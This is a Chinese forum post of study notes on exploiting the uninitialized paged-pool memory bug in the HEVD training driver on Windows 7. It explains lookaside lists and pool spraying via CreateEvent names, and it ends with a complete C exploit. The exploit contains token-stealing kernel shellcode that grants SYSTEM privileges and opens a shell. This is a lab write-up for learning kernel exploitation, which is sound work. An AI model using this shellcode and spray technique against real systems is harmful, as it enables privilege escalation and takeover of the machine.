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[原创]初探内核漏洞：HEVD学习笔记——UninitializedMemoryPagedPool

发表于: 2022-7-20 19:55 10736

[原创]初探内核漏洞：HEVD学习笔记——UninitializedMemoryPagedPool

Ada123

2022-7-20 19:55

10736

Win 10 64位主机 + win 7 32位虚拟机
调试器：Windbg
工具：VirtualKD-3.0、IDA
目标驱动：HEVD

池块的指针未初始化为NULL时，会指向池块上的脏数据，若不加判断对其进行调用，会导致不可预知的后果。

图片描述
反汇编TriggerUninitializedMemoryPagedPool函数，可以看到，先使用ExAllocatePoolWithTag在分页池中申请了内容大小为0xF0的池块，定义为UNINITIALIZE_MEMORY_POOL结构，将指针保存到UninitializedMemory中。若池块申请成功，即UninitializedMemory不为NULL的情况下，验证用户缓冲区是否为0x0BAD0B0B0h，若不是，调用UninitializedMemory->Callback()。
图片描述

明显，程序并未对UninitializedMemory指向的池块的内容进行初始化和赋值，那么UninitializedMemory->Callback()将访问池块里的脏数据并执行。如果我们能控制池块里的脏数据为shellcode地址，就能利用这个漏洞。

如何控制池块中的数据呢？
这里要来理解一下Lookaside List的概念。Lookaside List提供了一个比较简单的提高小块内存分配和申请效率的机制，用来进行固定大小内存块的小内存块的动态申请和释放。当我们使用 ExAllocatePoolWithTag 申请一个小块内存（<256字节）时，系统会首先尝试从KPRCB中的PP(N)PagedLookasideList分配内存。

Lookaside List的结构
看KPRCB的结构，分页内存和非分页内存各自有一个lookaside列表。lookaside列表中的块最大为256字节，大小以8字节递增，所以每个lookaside列表共有32个节点，每个节点是一条相同大小的块组成的单向链表。
图片描述
每个节点定义成GENERAL_LOOKASIDE_POOL 结构，节点之间通过LIST_ENTRY形成双向链表。节点内部通过SINGLE_LIST_ENTRY将大小相同的块组织成单向链表。MaximumDepth为单链中块的最多个数，默认为256.

每个块的上方还有一个8字节的HEADER。

控制池块数据
我们的UNINITIALIZED_MEMORY_POOL结构的大小是0xF0（240），所以需要240+8=248字节的空间，小于256字节，将在Lookaside List中申请。接下来我们要做的就是想办法在Lookaside List中248字节的块的内容部分+0x4偏移处填入shellcode地址。

想起我们在非分页池溢出漏洞利用时使用CreateEvent函数创建EVENT对象进行非分页池喷射，这里依然使用CreateEvent。虽然EVENT对象在非分页池中，但是第四个参数lpName是在分页池中的，我们可以利用lpName将分页池设置成我们需要的数据。
图片描述
我们使用CreateEvent创建256个EVENT（因为lookaside list上最多256个相同大小的块），每个lpName的0x4字节处写入shellcode地址，注意控制lpName不能相同（内存中相同的字符串只会存一个），然后CloseHandle释放池块，这样256个248字节的池块中就全部充满我们构造的数据了。

根据程序逻辑，我们随便传入不为0x0BAD0B0B的用户缓冲区即可触发漏洞.

注意：lpName要做附非0的值，因为字符串会有00截断

完整利用代码：

运行客户端程序，提权成功：
图片描述

判断用户输入不为特定值之后，调用ExFreePoolWithTag释放池块，并将UninitializedMemory设置为NULL。

HEVD学习笔记——UninitializedMemoryPagedPool
漏洞原理
漏洞定位
漏洞利用
漏洞修复

#include<stdio.h>
#include<Windows.h>
 
// 1.设置符号链接名称
#define DEVICE_LINK_NAME L"\\\\.\\HackSysExtremeVulnerableDriver"
 
// 2.控制码定义（与0环一样）
#define HEVD_UNINITIALIZED_MEMORY_PAGED_POOL 0x222033
 
static VOID shellcode() {

    // No Need of Kernel Recovery as we are not corrupting anything

    __asm {

        //int 3

        nop

        pushad; Save registers state
 
            ; Start of Token Stealing Stub

            xor eax, eax; Set ZERO

            mov eax, fs: [eax + KTHREAD_OFFSET] ; Get nt!_KPCR.PcrbData.CurrentThread

            ; _KTHREAD is located at FS : [0x124]
 
            mov eax, [eax + EPROCESS_OFFSET]; Get nt!_KTHREAD.ApcState.Process
 
            mov ecx, eax; Copy current process _EPROCESS structure
 
            mov edx, SYSTEM_PID; WIN 7 SP1 SYSTEM process PID = 0x4
 
            SearchSystemPID:

        mov eax, [eax + FLINK_OFFSET]; Get nt!_EPROCESS.ActiveProcessLinks.Flink

            sub eax, FLINK_OFFSET

            cmp[eax + PID_OFFSET], edx; Get nt!_EPROCESS.UniqueProcessId

            jne SearchSystemPID
 
            mov edx, [eax + TOKEN_OFFSET]; Get SYSTEM process nt!_EPROCESS.Token

            mov[ecx + TOKEN_OFFSET], edx; Replace target process nt!_EPROCESS.Token

            ; with SYSTEM process nt!_EPROCESS.Token

            ; End of Token Stealing Stub
 
            popad; Restore registers state

            ret

    }
}
 
VOID EXP_UninitializedMemoryPagedPool() {

    // 3.CreateFile打开符号链接得到设备句柄

    HANDLE hDevice = NULL;

    hDevice = CreateFile(DEVICE_LINK_NAME,

        GENERIC_READ | GENERIC_WRITE,

        FILE_SHARE_READ | FILE_SHARE_WRITE,

        NULL,

        OPEN_EXISTING,

        FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,

        NULL);

    if (hDevice == INVALID_HANDLE_VALUE) {

        printf("[-] Error - Unable to obtain a handle to the driver, error code %d\n", GetLastError());

        exit(1);

    }

    // 4.DeviceIoControl给0环发请求并接收返回结果

    char lpName[0xf0] = { 0 };//一个Unicode是2个字节

    memset(lpName, 0x41, 0xf0);

    HANDLE Event_OBJECT[256];    //固定最多256个块

    for (int i = 0; i < 256; i++) 

    {

        *(PDWORD)((PCHAR)lpName + 0x4) = (DWORD)shellcode; //Callback成员_UNINITIALIZED_MEMORY_POOL结构体+0x4上

        *(PDWORD)((PCHAR)lpName + 0xf0 - 4) = i;

        Event_OBJECT[i] = CreateEventW(NULL, FALSE, FALSE, (LPCWSTR)lpName);   

    }

    for (int i = 0; i < 256; i++)

    {

        CloseHandle(Event_OBJECT[i]);    //将创建的池块释放

    }
 
    DWORD dwRet = 0;

    char exp_NullPointerDereference[4] = { 0 };

    memset(exp_NullPointerDereference, 'A', sizeof(exp_NullPointerDereference));

    DeviceIoControl(hDevice, HEVD_UNINITIALIZED_MEMORY_PAGED_POOL, exp_NullPointerDereference, \

        4, NULL, 0, &dwRet, NULL);
 
    system("cmd.exe");
 
}
 
int main() {

    EXP_UninitializedMemoryPagedPool();

    return 0;
}